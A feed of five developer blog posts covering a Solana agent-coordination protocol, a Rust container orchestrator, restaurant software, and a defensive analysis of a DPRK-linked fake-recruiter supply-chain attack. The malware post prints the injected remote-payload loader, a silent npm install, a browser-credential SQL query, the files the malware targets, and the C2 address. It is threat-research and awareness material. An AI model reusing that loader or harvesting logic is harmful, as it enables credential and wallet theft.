Forem: Sharang Parnerkar

SwarmHaul: Building a Self-Organizing Agent Economy on Solana

Sharang Parnerkar — Tue, 21 Apr 2026 09:10:39 +0000

TL;DR — SwarmHaul is a multi-agent coordination protocol on Solana built for the Frontier Hackathon. Autonomous AI agents self-organize into delivery swarms, negotiate relay routes, and settle payment per-contribution via Anchor. A skewed reputation system (gaining is slow, losing is instant) keeps Sybil attacks pointless. A public MCP endpoint lets any AI client — Claude, Cursor, custom agents — discover tasks and submit bids as tool calls.

The framing that unlocked the design

Micro-logistics is a familiar demo. What makes SwarmHaul different is the framing: logistics is the demo, protocol is the product.

The real question we're answering is: how do you coordinate a fleet of autonomous AI agents that don't share memory, can't fully trust each other, and need to split money for work they do together?

Delivery is just the concrete case. The same primitives — swarm formation, relay routing, on-chain settlement, emergent reputation — apply anywhere you have agents that need to negotiate, collaborate, and pay each other.

Architecture in one diagram

┌─────────────┐    bid     ┌──────────────────┐   assign_leg    ┌──────────────┐
│  AI Agent   │──────────▶│  Swarm Coordinator│────────────────▶│ Solana Anchor│
│  (Node.js)  │           │  (Fastify API)    │                 │   Program    │
│             │◀──────────│                   │◀────────────────│              │
│ LLM reason  │  itinerary │  Route optimizer  │  confirm_leg    │  Vault escrow│
│ Rule fallbk │           │  Reputation engine│  + events       │  Reputation  │
└─────────────┘           └──────────────────┘                 │  PDAs        │
                                    │                           └──────────────┘
                                    │ WebSocket events
                                    ▼
                          ┌──────────────────┐
                          │  Dashboard       │
                          │  (React + Vite)  │
                          │                  │
                          │  Observatory     │
                          │  Swarm inspector │
                          │  Live confirm UI │
                          └──────────────────┘

Tech stack: Turborepo monorepo · Fastify · React/Vite · Anchor (Rust) · Prisma/Postgres · LiteLLM for agent reasoning · Leaflet/OSM for map rendering.

Swarm formation: O(n²) in 58ms

When a shipper posts a task, the coordinator receives bids from courier agents within a time window. The route optimizer solves the assignment problem: given N bids with proposed legs, assemble the cheapest relay chain that covers origin → destination.

The naive approach is O(n²) itinerary matching. We made it fast enough to not matter in practice (58ms for 1,000 bids). Reputation adds a small nudge:

// apps/api/src/services/swarm-coordinator.ts
function scoreBid(bid: Bid, reputation: number): number {
  const BASE = bid.cost_lamports;
  // γ = 0.08: reputation nudges cost by at most ±3.2% (γ × max_rep = 0.08 × 0.4)
  const GAMMA = 0.08;
  return BASE * (1 - GAMMA * (reputation - 0.5));
}

Reputation never dominates cost — it nudges by at most ~3.2%. An expensive reliable agent won't beat a cheap unknown one on price alone. This keeps the market honest.

On-chain settlement: Anchor + multi-leg handoff

Every delivery is a vault escrow. The shipper's SOL is locked in a PDA at list_package. Couriers get paid only after signing confirm_leg.

The tricky part is multi-leg relays. A package routed A→B→C requires two handoffs:

Courier 1 delivers to Courier 2. Courier 2's signature is the handoff attestation.
Courier 2 delivers to the shipper. Shipper's signature releases the vault.

We enforce this in the Anchor program with strict leg ordering:

// packages/solana/programs/swarmhaul/src/instructions/confirm_leg.rs
require!(
    leg_account.leg_index == swarm_account.completed_legs,
    SwarmHaulError::LegOutOfOrder
);

// For intermediate legs, next_leg_account must be present
if leg_account.leg_index < swarm_account.total_legs - 1 {
    require!(
        ctx.accounts.next_leg_account.is_some(),
        SwarmHaulError::MissingNextLeg
    );
    // recipient must be the next-hop courier
    require!(
        leg_account.courier == ctx.accounts.next_leg.courier,
        SwarmHaulError::WrongRecipient
    );
}

Out-of-order attempts fail with LegOutOfOrder. Wrong recipient on an intermediate leg fails with WrongRecipient. The vault only pays when the chain is complete and every link is attested.

The reputation system: gaining is hard, losing is instant

This is the most interesting piece, and the one with the most direct applicability outside logistics.

The core invariant: a single ContractBreached (−0.80) undoes roughly 16 ContractCompleted events (+0.05 each). The asymmetry is the point.

// apps/api/src/services/reputation-engine.ts

function applyPositiveEvent(score: number, delta: number): number {
  // Diminishing returns toward 1.0 — nobody reaches perfection
  const GAIN_FACTOR = 0.5;
  return score + (1.0 - score) * GAIN_FACTOR * delta;
}

function applyNegativeEvent(score: number, delta: number): number {
  // Linear, uncapped — losses are not dampened
  return Math.max(0.0, score + delta);
}

A fresh agent at 0.3 gains 0.5 × 0.7 × 0.05 = 0.0175 from completing a delivery. An agent at 0.9 gains only 0.5 × 0.1 × 0.05 = 0.0025 from the same event. But both lose 0.80 from a single breach.

Why this makes Sybil attacks pointless

If an agent builds a bad reputation and spins up a new identity, they start at the default base_score = 0.3 with a first-meeting ceiling of 0.6 — no matter how many credentials they present on first contact:

function selfEstimate(signals: TrustSignals): number {
  let score = BASE_SCORE; // 0.3
  if (signals.didResolves) score += 0.05;
  for (const vc of signals.verifiableCredentials) {
    score += 0.02 * vc.issuerTrustScore;
  }
  return Math.min(score, FIRST_MEETING_CEILING); // hard cap at 0.6
}

Building a fresh identity to 0.8 takes hundreds of successful deliveries. Destroying one takes seconds. The protocol makes reputation cheap to lose and expensive to rebuild — which is how trust works in the real world.

No global oracle

There is no single global reputation database. Every actor maintains their own local DB. Trust is emergent from direct (or transitively trusted) interactions — there's no single point a colluding group can capture.

An agent can have bad reputation with everyone except its long-time trading partner, and that pair's bilateral trust is as legitimate as any broader consensus. Trust is not a majority vote.

Public MCP endpoint

SwarmHaul exposes a public Model Context Protocol endpoint. Any MCP-capable AI host can discover delivery tasks, submit bids, check reputation, and read economy stats as tool calls.

POST https://api.swarmhaul.defited.com/mcp/call

Tool	Purpose
`swarmhaul_list_packages`	List open delivery tasks
`swarmhaul_submit_bid`	Submit a bid as a courier agent
`swarmhaul_get_reputation`	Look up an agent's reputation PDA
`swarmhaul_economy_stats`	Live counts: packages, swarms, bids, SOL volume
`swarmhaul_leaderboard`	Top 20 agents by reliability score

To wire it into Claude Desktop, add this to claude_desktop_config.json:

{
  "mcpServers": {
    "swarmhaul": {
      "url": "https://api.swarmhaul.defited.com/mcp",
      "transport": "http"
    }
  }
}

Restart and ask Claude: "What's the current SwarmHaul agent economy volume?" or "Show me the reputation leaderboard."

You can also hit it directly:

curl -s -X POST https://api.swarmhaul.defited.com/mcp/call \
  -H 'content-type: application/json' \
  -d '{"tool":"swarmhaul_economy_stats"}' | jq '.content[0].text | fromjson'

Agent reasoning: LLM with rule-based fallback

Each courier agent uses an LLM to decide whether to bid, what price to offer, and whether to accept an assignment. The reasoning module always has a rule-based fallback so the agent keeps running even if the LLM is unavailable:

// apps/agent/src/reasoning.ts
export async function shouldBid(task: Task, agent: AgentState): Promise<BidDecision> {
  try {
    return await llmReason(task, agent);
  } catch {
    // Rule-based fallback: bid if within range and reputation is healthy
    return ruleBased(task, agent);
  }
}

In production, three always-on agents run on Orca and auto-deploy on every push to main. You can watch them bid against each other in the observatory dashboard.

Agent Economy Observatory

The dashboard isn't just a package tracker — it's an interactive observatory with live sliders for the reputation economic constants (α and γ) that drive a real payment-allocator simulator through the API. You can watch the payment split change in real time as you tune the parameters.

Live at: dashboard.swarmhaul.defited.com

What's next (Week 3)

Courier in-transit signal: an on-chain courier_arrived event (signed by the courier) gates the shipper's CONFIRM DELIVERY button — the protocol closes the loop fully autonomously
Agent execution loop: agents run their full itinerary autonomously and auto-sign courier_arrived; the end-to-end demo runs without any human clicks
Reputation PDA as DID+VC primitive: expose a resolver so third parties can verify agent track records without trusting our API
Privy embedded wallets: remove the "install Phantom" barrier for new shippers

I Was Targeted by a DPRK-Linked Supply Chain Attack via LinkedIn. Here's Exactly How It Worked.

Sharang Parnerkar — Thu, 16 Apr 2026 15:03:01 +0000

Last week I caught a sophisticated supply-chain attack targeting developers before it could execute. I want to document exactly how it worked so you can recognize it if it comes for you.

How It Started

A LinkedIn connection request from Andre Tiedemann, claiming to be CEO of a Web3 startup called Pass App. Profile looked legitimate — blue verification checkmark, 377 connections, 12 years at Airbus in his work history, proper headshot.

The pitch was standard: Engineering Manager role, decentralized platform, crypto payments integration. He asked screening questions, requested my CV, and scheduled a 4PM CET interview for the next day.

Then, without waiting for confirmation, he sent this:

"I shared a demo project: https://bitbucket.org/welcome-air/welcome-nest/src/main/ — Try setting it up locally, it'll help you get a better feel for how everything's structured. Please review our project and share your opinions on our meeting."

The meeting never happened. That was the entire point — get the repo cloned and executed before any scrutiny.

What Was Inside the Repository

The repository was a clean, realistic React/Node.js fullstack project. Proper folder structure, reasonable code, nothing obviously wrong on a quick scroll.

Two files had been surgically modified:

server/config/config.js — added three innocuous-looking exports:

exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";
exports.setApiKey = (s) => { return atob(s); };
exports.verify = (api) => { return axios.get(api); };

locationToken is a Base64 string that decodes to https://www.jsonkeeper.com/b/UVEXH — a third-party JSON hosting service used as a payload staging server.

server/routes/auth.js — an IIFE injected at the top:

(async () => {
  verify(setApiKey(locationToken))
    .then(response => {
      new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require);
    })
    .catch(error => { });
})();

On server start, this silently fetches the remote payload, Base64-decodes it, and executes it via new Function() — passing require so it has full Node.js access. The catch block swallows all errors silently.

The Payload

The payload fetched from jsonkeeper.com was a 2.8MB RC4-obfuscated JavaScript file — 17,278 encrypted string array entries, 508,646 array rotations, 119 wrapper decode functions. Not something you reverse by reading it.

First thing it does after decoding itself: check if it's running in an analysis environment.

// Sandbox detection
{}.constructor("return this")()  // behaves differently in vm.createContext

// WSL detection
process.env.WSL_DISTRO_NAME
fs.readFileSync('/proc/version').includes('microsoft')

// Debugger detection + VM heuristics

If it passes those checks, it silently installs four npm packages:

npm install sql.js socket.io-client form-data axios --no-save --loglevel silent

--no-save means nothing appears in package.json. --loglevel silent suppresses all output. Then it spawns three background processes and gets to work.

What It Was Designed to Steal

I executed the payload in an isolated sandbox VM with no access to real credentials or production systems. Here's what it would have gone after on a real machine.

Browsers targeted (13): Chrome, Firefox, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium.

For Chromium-based browsers it runs direct SQLite queries against Login Data:

SELECT origin_url, username_value, password_value FROM logins

Passwords are decrypted using platform key extraction (DPAPI on Windows, AES-GCM on Linux/macOS).

For Firefox it targets both logins.json AND key4.db — with both files together all stored passwords are fully decryptable offline.

It also targets:

All files in ~/.ssh/
~/.aws/credentials
~/.docker/config.json
Any file matching: .env, password, token, secret, api_key, wallet, .sqlite
macOS Keychain (login.keychain-db)
Brave wallet LevelDB storage
Clipboard contents — monitored continuously and exfiltrated in real time

Everything gets exfiltrated to 216.126.225.243 (Ogden, Utah — bulletproof hosting on AS46664 VolumeDrive) via Socket.IO on port 8087 and HTTP uploads on ports 8085/8086.

The Fake Company

Pass App was a real company that shut down on December 16, 2025. They had 10.4K Twitter followers and announced their closure publicly. Their website went offline. Their LinkedIn presence went dormant.

Four months later, the attacker hijacked that abandoned identity. The LinkedIn company page still had 585 followers and looked active. The real company's credibility became the attacker's cover.

One tell: Andre's pitch described Pass App as "a decentralized Airbnb-style platform" — completely different from the real product (an AI crypto wallet). The attacker's script hadn't been updated to match the brand they stole.

Attribution

This is a known campaign called "Contagious Interview" (also tracked as "Dev Recruiter"). It has been running since at least 2023 and is attributed to DPRK-linked threat actors — specifically Lazarus Group / TraderTraitor. The goal is financially motivated: cloud credentials, crypto wallets, and SSH keys to pivot into production infrastructure.

The malware family is consistent with BeaverTail (the obfuscated JS infostealer) and InvisibleFerret (the Python-based backdoor that sometimes follows it).

The ukey: 506 field in the C2 registration event suggests at least 506 active operator accounts in this campaign's infrastructure.

How I Caught It

Code review before running anything. The locationToken export looked odd — why is an API key Base64-encoded inline in config? Decoded it, saw jsonkeeper.com, fetched the URL, got a 2.8MB JSON blob with a model field.

I never ran it on my machine. I spun up an isolated VM instead.

What I Did About It

Spun up an isolated QEMU/KVM sandbox VM with no real credentials, executed the payload with full network monitoring
Captured a 23MB PCAP of the full C2 handshake
Fully deobfuscated the payload via dynamic instrumentation — hooked the decoder functions, captured 900,000+ ordered call records, reconstructed the full source
Reported to FBI IC3, CISA, BSI Germany, Atlassian, jsonkeeper, and npm security

Red Flags — In Hindsight

Signal	What it meant
Contact email is `@hotmail.com` with random suffix	Not a company domain — fake or hijacked account
LinkedIn connection made the day before the attack	Purpose-built connection, not a real relationship
Company website returns "Server Not Found"	No legitimate business behind the persona
Meeting scheduled but never confirmed	Meeting was only a pretext to get the repo run
Repo delivered before meeting acceptance	Urgency tactic — get it executed before scrutiny
Product description doesn't match company	Attacker's script wasn't updated for the stolen brand

Protect Yourself

Never run npm install on a repo from someone you just met online without reading every file in package.json scripts, every entry point, and especially any files that run on startup.

Use a disposable VM for any externally-provided code. No SSH agent forwarding. No access to ~/.aws or ~/.docker. Snapshot before, delete after.

Check the company website. If it's down, walk away.

A recruiter email that doesn't match their company domain is a hard stop.

If you've recently cloned a repo from a LinkedIn recruiter and ran it on your real machine — check your ~/.ssh/, .env files, and browser credentials immediately. Look for lock files matching {tmpdir}/pid.*.lock. If you find them, assume full compromise.

IOCs, full technical details, and deobfuscated payload signatures have been shared with law enforcement and submitted to MalwareBazaar and VirusTotal.

Stay safe.

I Built a Container Orchestrator in Rust Because Kubernetes Was Too Much and Coolify Wasn't Enough

Sharang Parnerkar — Fri, 10 Apr 2026 09:21:30 +0000

There's a gap in the container orchestration world that nobody talks about.

Docker Compose works for 1 server. Coolify and Dokploy give you a nice GUI but still cap at one node. Kubernetes handles 10,000 nodes but requires a team of platform engineers just to keep the lights on.

What if you have 2 to 20 servers, 20 to 100 services, and a team of 1 to 5 engineers who'd rather ship features than debug etcd quorum failures?

That's exactly where I was. So I built Orca.

Docker Compose ──> Coolify/Dokploy ──> Orca ──> Kubernetes
   (1 node)         (1 node, GUI)      (2-20)     (20-10k)

TL;DR

Orca is a single-binary container + WebAssembly orchestrator written in Rust. One 47MB executable replaces your control plane, container agent, CLI, reverse proxy with auto-TLS, and terminal dashboard. Deploy with TOML configs that fit on one screen — no YAML empires, no Helm charts, no CRDs.

GitHub: github.com/mighty840/orca
Install: cargo install mallorca

The Problem

I was running ~60 services across 3 servers for multiple projects — compliance platforms, trading bots, YouTube automation pipelines, chat servers, AI gateways. Coolify worked great at first, but then I needed:

Services on multiple nodes with DNS-based routing per node
Auto-TLS without manually configuring Caddy/Traefik per domain
Git push deploys that actually work across nodes
Rolling updates that don't take down the whole stack
Config as code, not clicking through a GUI

Kubernetes was the obvious answer, but for 3 nodes and a solo developer? That's like buying a Boeing 747 to commute to work.

What Orca Actually Does

Single Binary, Everything Included

cargo install mallorca
orca install-service          # systemd unit with auto port binding
sudo systemctl start orca

That one binary runs:

Control plane with Raft consensus (openraft + redb — no etcd)
Container runtime via Docker/bollard
WebAssembly runtime via wasmtime (5ms cold start, ~2MB per instance)
Reverse proxy with Host/path routing, WebSocket proxying, rate limiting
ACME client for automatic Let's Encrypt certificates
Secrets store with AES-256 encryption at rest
Health checker with liveness/readiness probes and auto-restart
AI assistant that diagnoses cluster issues in natural language

TOML Config That Humans Can Read

[[service]]
name = "api"
image = "myorg/api:latest"
port = 8080
domain = "api.example.com"
health = "/healthz"

[service.env]
DATABASE_URL = "${secrets.DB_URL}"
REDIS_URL = "redis://cache:6379"

[service.resources]
memory = "512Mi"
cpu = 1.0

[service.liveness]
path = "/healthz"
interval_secs = 30
failure_threshold = 3

Compare that to the equivalent Kubernetes YAML. I'll wait.

Multi-Node in One Command

# On worker nodes:
orca install-service --leader 10.0.0.1:6880
sudo systemctl start orca-agent

The agent connects to the master via bidirectional WebSocket — no HTTP polling, no gRPC complexity. Deploy commands arrive instantly. When an agent reconnects after a network blip, the master sends the full desired state and the agent self-heals.

[service.placement]
node = "gpu-box"         # Pin to a specific node

GitOps Without a CI Runner

Orca has a built-in infra webhook. Point your git host at the orca API, and every push triggers git pull + full reconciliation:

# One-time setup:
curl -X POST http://localhost:6880/api/v1/webhooks \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"repo":"myorg/infra","service_name":"infra","branch":"main",
       "secret":"...","infra":true}'

Push a config change → orca pulls → deploys only what changed. No Jenkins, no GitHub Actions runner, no ArgoCD.

For image-only updates (CI pushes new :latest), register a per-service webhook and orca force-pulls + restarts.

How It Compares

Feature	Coolify	Dokploy	Orca	K8s
Multi-node	No	No	Yes (Raft)	Yes (etcd)
Config format	GUI	GUI	TOML	YAML
Auto-TLS	Yes	Yes	Yes (ACME)	cert-manager
Secrets	GUI	GUI	AES-256, `${secrets.X}`	etcd + RBAC
Rolling updates	Basic	Basic	Yes + canary	Yes
Health checks	Basic	Basic	Liveness + readiness	Yes
WebSocket proxy	Partial	Partial	Full	Ingress-dependent
Wasm support	No	No	Yes (wasmtime)	Krustlet (dead)
AI ops	No	No	Yes	No
GitOps webhook	Yes	Yes	Yes + infra webhook	ArgoCD/Flux
Self-update	No	Docker pull	`orca update`	Cluster upgrade
Lines of config per service	~0 (GUI)	~0 (GUI)	~10 TOML	~50-100 YAML
External dependencies	Docker, DB	Docker	Docker only	etcd, CoreDNS, ...
Binary size	Docker image	Docker image	47MB	N/A

The Smart Reconciler

One thing that drove me crazy with other orchestrators: redeploy a stack and everything restarts, even services that haven't changed.

Orca's reconciler compares the unresolved config templates (with ${secrets.X} intact), not the resolved values. If your OAuth token refreshed but your config didn't change, the container stays running. Only actual config changes trigger a rolling update.

orca deploy              # Reconcile all — skips unchanged services
orca deploy api          # Reconcile just one service
orca redeploy api        # Force pull image + restart (for :latest updates)

What's Coming in v0.3

The roadmap is driven by what we actually need in production:

Remote log streaming — orca logs <service> for containers on any node, piped via WebSocket
Preview environments — orca env create pr-123 spins up an ephemeral copy of a project
Per-project secrets — ${secrets.X} resolves project scope first, then global
TUI webhook manager — add/edit/delete webhooks from the terminal dashboard
TUI backup dashboard — per-node backup status, manual trigger, restore
ARM64 builds — native binaries for Raspberry Pi / Graviton
Log forwarding — ship container logs to Loki, SigNoz, or any OpenTelemetry collector
Nixpacks integration — auto-detect and build without Dockerfiles

Architecture for the Curious

┌─────────────────────────────────────┐
│         CLI / TUI / API             │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│         Control Plane               │
│  Raft consensus (openraft + redb)   │
│  Scheduler (bin-packing + GPU)      │
│  API server (axum)                  │
│  Health checker + AI monitor        │
└──────────────┬──────────────────────┘
               │ WebSocket
    ┌──────────┼──────────┐
    ▼          ▼          ▼
┌────────┐ ┌────────┐ ┌────────┐
│ Node 1 │ │ Node 2 │ │ Node 3 │
│ Docker │ │ Docker │ │ Docker │
│ Wasm   │ │ Wasm   │ │ Wasm   │
│ Proxy  │ │ Proxy  │ │ Proxy  │
└────────┘ └────────┘ └────────┘

8 Rust crates, ~15k lines, 120+ tests. Every source file under 250 lines. The dependency flow is strict: core <- agent <- control <- cli. No circular deps, no god modules.

Want to Contribute?

Orca is open source (AGPL-3.0) and actively looking for contributors. The codebase is designed to be approachable:

Small files — 250 line max, split into clear submodules
Comprehensive tests — 120+ unit and integration tests
Architecture guide — CLAUDE.md documents every crate, convention, and design decision
Real issues — every open issue comes from production usage, not hypotheticals

Good first issues:

ARM64 CI build — add a GitHub Actions matrix for aarch64
TUI log viewer — stream container logs in a ratatui pane
Backup --exclude — skip specific volumes from nightly backup
Service templates — WordPress, Supabase, n8n one-click configs

git clone https://github.com/mighty840/orca.git
cd orca
cargo test        # 120+ tests
cargo build       # single binary

Links

GitHub: github.com/mighty840/orca
Docs: mighty840.github.io/orca
crates.io: crates.io/crates/mallorca
Changelog: CHANGELOG.md

Orca is built by developers running real production workloads on it — trading bots, compliance platforms, YouTube automation, AI gateways. Every feature exists because we needed it, every bug fix comes from a real 3 AM incident. If you're stuck between Coolify and Kubernetes, give it a shot.

Star the repo if this resonates. Open an issue if something's broken. PRs welcome.

Design decisions behind KitchenAsty — an open-source restaurant management system

Sharang Parnerkar — Wed, 25 Feb 2026 10:24:55 +0000

In my previous post, I introduced KitchenAsty — an open-source, self-hosted restaurant ordering and management platform. People asked about the architecture, so this post dives into the core design decisions: how the real-time system works, how the database handles guest orders and price changes, how settings resolve from multiple sources, and how a data-driven automation pipeline lets restaurant owners set up custom workflows without writing code.

1. Real-Time Architecture: Rooms, Not Broadcasts

A restaurant system has two audiences that need live updates simultaneously: kitchen staff watching for incoming orders, and customers tracking their delivery. Broadcasting everything to everyone would be wasteful and insecure.

Socket.IO's room abstraction solves this cleanly. There are two room types:

kitchen — a single shared room. Every kitchen display client joins it. When a new order arrives or any order changes status, the event goes here.
order:{orderId} — one room per active order. The customer's browser or mobile app joins their specific order room. They only receive updates about their order.

// Client joins on mount
socket.emit('join:kitchen');     // kitchen display
socket.emit('join:order', id);   // customer order tracking

// Server emits to both rooms on status change
io.to('kitchen').emit('order:statusUpdate', order);
io.to(`order:${order.id}`).emit('order:statusUpdate', order);

This means 50 customers tracking 50 orders generate 50 targeted messages, not 50 broadcasts. The kitchen display gets every update because it's in the shared room.

On the kitchen display itself, updates are applied optimistically — the UI updates immediately on button click, and the Socket.IO event from the server reconciles in the background. If the status moves the order off the Kanban board (e.g., "delivered"), the socket handler removes it from local state:

s.on('order:statusUpdate', (data) => {
  setOrders((prev) => {
    if (!KITCHEN_STATUSES.includes(data.status)) {
      return prev.filter((o) => o.id !== data.id);  // gone from board
    }
    return prev.map((o) => o.id === data.id ? { ...o, status: data.status } : o);
  });
});

2. Database: Snapshots, Not References

The most important database design decision was this: order items store a snapshot of the menu data at the time of purchase, not just a foreign key.

model OrderItem {
  menuItemId String
  menuItem   MenuItem @relation(...)
  name       String      // "Margherita Pizza" — frozen at order time
  unitPrice  Float       // 12.99 — frozen at order time
  subtotal   Float
}

model OrderItemOption {
  name          String   // "Extra Cheese" — frozen
  value         String   // "Yes" — frozen
  priceModifier Float    // 2.50 — frozen
}

The foreign key to MenuItem is still there for analytics (which menu items generate the most revenue), but the name, unitPrice, and priceModifier fields are what the order actually uses. If the restaurant changes the price of a pizza next week, existing order records aren't affected.

This matters more than you'd think. Restaurants update prices frequently — seasonal menus, promotions, cost adjustments. Without snapshots, your revenue reports lie and customer receipts change retroactively.

Guest checkout with optional customer

Orders support both registered customers and guests through an optional relationship:

model Order {
  customerId String?     // null for guest orders
  customer   Customer?
  guestName  String?     // fallback fields for guests
  guestEmail String?
  guestPhone String?
}

The auth middleware on the order creation endpoint uses optionalAuth — it attaches the user if a token is present but doesn't block the request otherwise. The controller checks: if there's a logged-in customer, link the order; if not, store the guest fields.

Self-referential categories

Menus need nested categories (e.g., "Drinks" > "Hot Drinks" > "Coffees"). Rather than a flat list with a separate hierarchy table, the schema uses a self-referential adjacency list:

model Category {
  parentId String?
  parent   Category?  @relation("CategoryTree", fields: [parentId], references: [id])
  children Category[] @relation("CategoryTree")
}

One query with include: { children: true } gives you the full tree. Simple to query, simple to render, and Prisma's type system ensures you can't accidentally create orphans.

3. Settings: DB-First with Env Var Fallback

Restaurant owners configure their system through the admin panel (stored in the database). Developers configure it through environment variables during deployment. Both need to work, and the admin panel should win when both are set.

The pattern looks like this for email configuration:

async function getMailConfig() {
  // Start with env var defaults
  let host = process.env.SMTP_HOST || 'localhost';
  let port = parseInt(process.env.SMTP_PORT || '1025');

  try {
    // DB settings override env vars
    const settings = await prisma.siteSettings.findUnique({
      where: { id: 'default' }
    });
    const mail = settings?.mailSettings || {};
    if (mail.smtpHost) host = mail.smtpHost;
    if (mail.smtpPort) port = mail.smtpPort;
    // ...
  } catch {
    // DB unavailable — env vars are the fallback
  }
}

The entire site configuration lives in a single database row — SiteSettings with id: 'default'. JSON columns hold grouped settings (general, orders, mail, payments, reservations, reviews, advanced). This avoids a key-value settings table and keeps related settings together.

Two details that took some thought:

Caching — The mail transporter is cached for 5 minutes to avoid a database round-trip on every email. When settings are updated through the admin API, invalidateMailCache() forces a rebuild on the next send.

Secret masking — API keys and passwords are masked in API responses (sk_l...4x8f). When the admin submits the settings form, if a field still looks masked, the server preserves the existing database value instead of overwriting it with the mask string:

function preserveIfMasked(newVal, existingVal) {
  if (isMasked(newVal)) return existingVal;
  return newVal;
}

This means the frontend never holds real secrets in memory — it only ever sees masked values.

4. Auth: Composable Middleware, Two User Types

Staff and customers share the same JWT structure but are treated as distinct principals:

interface JwtPayload {
  id: string;
  email: string;
  type: 'staff' | 'customer';
  role?: 'SUPER_ADMIN' | 'MANAGER' | 'STAFF';
}

Access control is built from three composable middleware functions:

authenticate        // require any valid JWT
requireStaff        // require type === 'staff'
requireRole(...roles)  // require specific role(s)

These compose at the route level:

router.post('/',            optionalAuth, createOrder);       // guests OK
router.get('/my-orders',    authenticate, listCustomerOrders);
router.get('/',             authenticate, requireStaff, listOrders);
router.patch('/:id/status', authenticate, requireStaff, updateOrderStatus);

The optionalAuth variant is key for guest checkout — it attaches the user if present but doesn't reject anonymous requests.

Staff invitation uses single-use tokens with a 7-day expiry stored in the database. When a new staff member accepts an invitation, the token is marked as used to prevent replay.

5. Automation: Data-Driven Event Pipeline

This was the most interesting piece to build. Restaurant owners need custom workflows — "email the customer when their order is confirmed", "send an SMS when the order is ready for pickup", "notify the manager via webhook when a bad review comes in" — without touching code.

The pipeline has three layers:

Layer 1 — EventEmitter as internal bus. Controllers emit domain events after mutations:

// After creating an order
appEvents.emit('order.created', { order });

// After changing order status
appEvents.emit('order.statusChanged', { order, previousStatus });

Layer 2 — DB-driven rule matching. When an event fires, the system queries for active automation rules that match:

async function processRules(event, data) {
  const rules = await prisma.automationRule.findMany({
    where: { event, isActive: true },
  });
  for (const rule of rules) {
    if (matchesConditions(rule.conditions, data)) {
      for (const action of rule.actions) {
        executeAction(action, data);
      }
    }
  }
}

Conditions support dot-notation paths, so a rule can match on order.status === 'CONFIRMED' or order.type === 'DELIVERY'.

Layer 3 — Action execution. Three action types: email, sms, and webhook. Templates use {{dot.path}} interpolation:

{
  "type": "email",
  "to": "customer",
  "subject": "Your order #{{order.orderNumber}} is confirmed!",
  "body": "Hi {{order.customer.name}}, we're preparing your order."
}

The "to": "customer" field resolves dynamically — it walks data.order.customer.email, then falls back to data.order.guestEmail. This works transparently for both registered and guest orders.

Everything is stored as JSON in the AutomationRule model, so restaurant owners create and manage rules through the admin panel without deployments.

6. Shared Types: Thin by Design

The packages/shared package is intentionally minimal — it exports as const arrays that serve as both runtime values and TypeScript types:

export const ORDER_STATUSES = [
  'pending', 'confirmed', 'preparing', 'ready',
  'out_for_delivery', 'delivered', 'picked_up', 'cancelled',
] as const;

export type OrderStatus = (typeof ORDER_STATUSES)[number];

The package does not re-export Prisma types. The admin and storefront apps import from @kitchenasty/shared without taking a transitive dependency on Prisma or any server-side code. This keeps frontend bundles clean and avoids the common monorepo trap where everything depends on everything.

Shared response shapes (ApiResponse<T>, PaginatedResponse<T>) ensure the API contract is consistent across all endpoints without a code generation step.

What I'd Do Differently

A few things I'd reconsider if starting over:

tRPC instead of REST — type-safe API calls without hand-written fetch wrappers. The shared types package partially solves this, but tRPC would eliminate the gap entirely.
Structured logger from day one — the codebase currently uses raw console.* calls. Adding pino or winston after the fact means touching every file that logs. This is an open issue if you want to help.
Component tests for the frontends — the backend has 330+ tests but the React apps have zero unit tests. Integration coverage through Playwright helps, but component-level tests would catch more regressions.

Try It / Contribute

Live demo: demo.kitchenasty.com (resets every 2 hours)
GitHub: github.com/mighty840/kitchenasty
Docs: kitchenasty.com

If any of these patterns are interesting to you, there are good first issues and help wanted issues covering accessibility, i18n, test coverage, and more. Happy to answer questions in the comments or in GitHub Discussions.

I built an open-source alternative to Toast and Square for restaurant management

Sharang Parnerkar — Mon, 23 Feb 2026 21:47:49 +0000

The Problem

If you run a small restaurant, your options for online ordering and management are:

SaaS platforms like Toast, Square, or ChowNow — $100-300+/month with vendor lock-in
Old open-source projects — mostly PHP/Laravel, hard to extend, dated UIs
Build it yourself — months of work before you can take a single order

I wanted a fourth option: a modern, self-hosted, open-source platform that a developer could deploy in an afternoon.

Introducing KitchenAsty

KitchenAsty is an MIT-licensed restaurant ordering, reservation, and management system built as a TypeScript monorepo.

What it covers

For customers:

Browse the menu, add to cart, and place orders for delivery or pickup
Schedule orders for later or order ASAP
Pay with Stripe or cash on delivery
Track orders in real-time
Book table reservations
Leave reviews
React Native mobile app

For restaurant staff:

Manage menus with categories, options, allergens, and images
Kitchen display — a live Kanban board showing incoming orders
Process orders with one-click status progression
Manage reservations with table assignment
Create and track coupons
Moderate customer reviews
Staff management with role-based access

For the owner:

Dashboard with revenue trends, order analytics, and top-selling items
Multi-language support (6 languages)
Full settings panel for payments, email, orders, and more

Tech Stack

Layer	Tech
API	Node.js + Express
Admin & Storefront	React 18 + Vite
Mobile	React Native + Expo
Database	PostgreSQL + Prisma
Real-time	Socket.IO
Payments	Stripe
Styling	Tailwind CSS
Testing	Vitest + Playwright (330+ tests)
Language	TypeScript (strict mode everywhere)

Architecture Decisions

A few choices I made and why:

Monorepo with npm workspaces — Admin, storefront, server, and shared types all live in one repo. Changes to shared types are immediately visible everywhere. No publishing packages, no version mismatches.

Prisma over raw SQL — Type-safe database queries that catch errors at build time. The schema is self-documenting with 30 models and clear relationships.

Socket.IO for real-time — The kitchen display and order tracking need instant updates. Socket.IO made this straightforward with room-based broadcasting.

Separate admin and storefront apps — Different audiences, different concerns. The admin is a dense data-management tool. The storefront is a consumer-facing ordering experience. Sharing a single React app would have meant too many compromises.

Self-Hosting

The project is designed to be self-hosted with Docker. The docs site has a complete guide covering:

Server setup (Ubuntu/Debian)
Docker Compose deployment
Domain and DNS configuration
Reverse proxy with SSL (Nginx or Caddy)
Backups and maintenance

For local development, it's docker compose up -d for PostgreSQL, then npm run dev:server / npm run dev:admin / npm run dev:storefront.

By the Numbers

27,000 lines of TypeScript
30 database models
118 API endpoints
330+ tests (unit, integration, E2E)
6 supported languages
Full CI/CD with GitHub Actions

Contributing

The project is set up for contributors:

Contributing guide
Good first issues — small, well-scoped tasks with clear instructions
